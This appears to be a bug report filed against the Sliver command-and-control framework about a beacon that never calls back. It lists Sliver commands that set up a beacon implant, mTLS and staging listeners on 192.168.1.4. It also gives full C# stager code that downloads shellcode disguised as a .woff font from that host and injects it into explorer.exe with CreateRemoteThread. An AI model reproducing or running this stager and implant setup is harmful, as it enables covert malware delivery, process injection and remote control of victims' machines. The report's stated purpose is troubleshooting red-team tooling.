Unable to Obtain Beacon from Sliver Shellcode

[djackreuter]

Describe the bug
Unable to get a beacon back when injecting sliver shellcode from a custom stager.

To Reproduce
Steps to reproduce the behavior:

[server] sliver > profiles new beacon --mtls 192.168.1.4:443 --format shellcode --disable-sgn --debug my_profile

[*] Saved new implant profile (beacon) my_profile

[server] sliver > mtls --lport 443

[*] Starting mTLS listener ...

[*] Successfully started job #1

[server] sliver > stage-listener --url http://0.0.0.0:80 --profile my_profile

[*] No builds found for profile my_profile, generating a new one
[*] Sliver name for profile my_profile: FAIR_STOREY
[*] Job 2 (http) started

[server] sliver > jobs

 ID   Name   Protocol   Port   Stage Profile
==== ====== ========== ====== =======================================
 1   mtls   tcp        443
 2   http   tcp        80     my_profile (Sliver name: FAIR_STOREY)

I have tested from two known working shellcode remote process injectors. One written in C# and one in Rust, and the behavior is the same. The shellcode is retrieved and injected without issue, but the remote process (explorer.exe) crashes and no beacon is received.

C# stager used:

 public static int Main() {
        System.Net.WebClient wc = new System.Net.WebClient();

        byte[] resp = wc.DownloadData("http://192.168.1.4/test.woff");

        int pid = Process.GetProcessesByName("explorer")[0].Id;

        Console.WriteLine($"PID: {pid}");

        IntPtr hProc = OpenProcess(0x001F0FFF, false, (uint)pid);

        int scLen = resp.Length;
        Console.WriteLine($"Shellcode Len: {scLen}");

        IntPtr addr = VirtualAllocEx(hProc, IntPtr.Zero, (uint)scLen, 0x00001000 | 0x00002000, 0x04);
        Console.WriteLine($"Allocated memory at: {"0x" + addr.ToString("x")}");

        IntPtr bw = IntPtr.Zero;
        WriteProcessMemory(hProc, addr, resp, scLen, out bw);
        Console.WriteLine($"Bytes Written into memory: {bw}");

        uint op = 0;
        VirtualProtectEx(hProc, addr, (UIntPtr)scLen, 0x20, out op);

        Console.WriteLine("Executing");
        IntPtr hThread = CreateRemoteThread(hProc, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

        if (hThread != IntPtr.Zero)
        {
            Console.WriteLine("Create remote thread OK");
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }

        return 1;
    } 

I have also tried injecting into a variety of different processes with no success.

Expected behavior
I expect the beacon to spawn.

Screenshots
The shellcode is successfully being retrieved from the stager.

Executing the C# stager:

Desktop (please complete the following information):

• OS: Ubuntu 22.04
• Version: v1.5.41

Additional context
I have also tried generating full beacon shellcode to download and inject from my stager and had the same results.
generate beacon --mtls 192.168.1.4:443 --disable-sgn --format shellcode --save /root/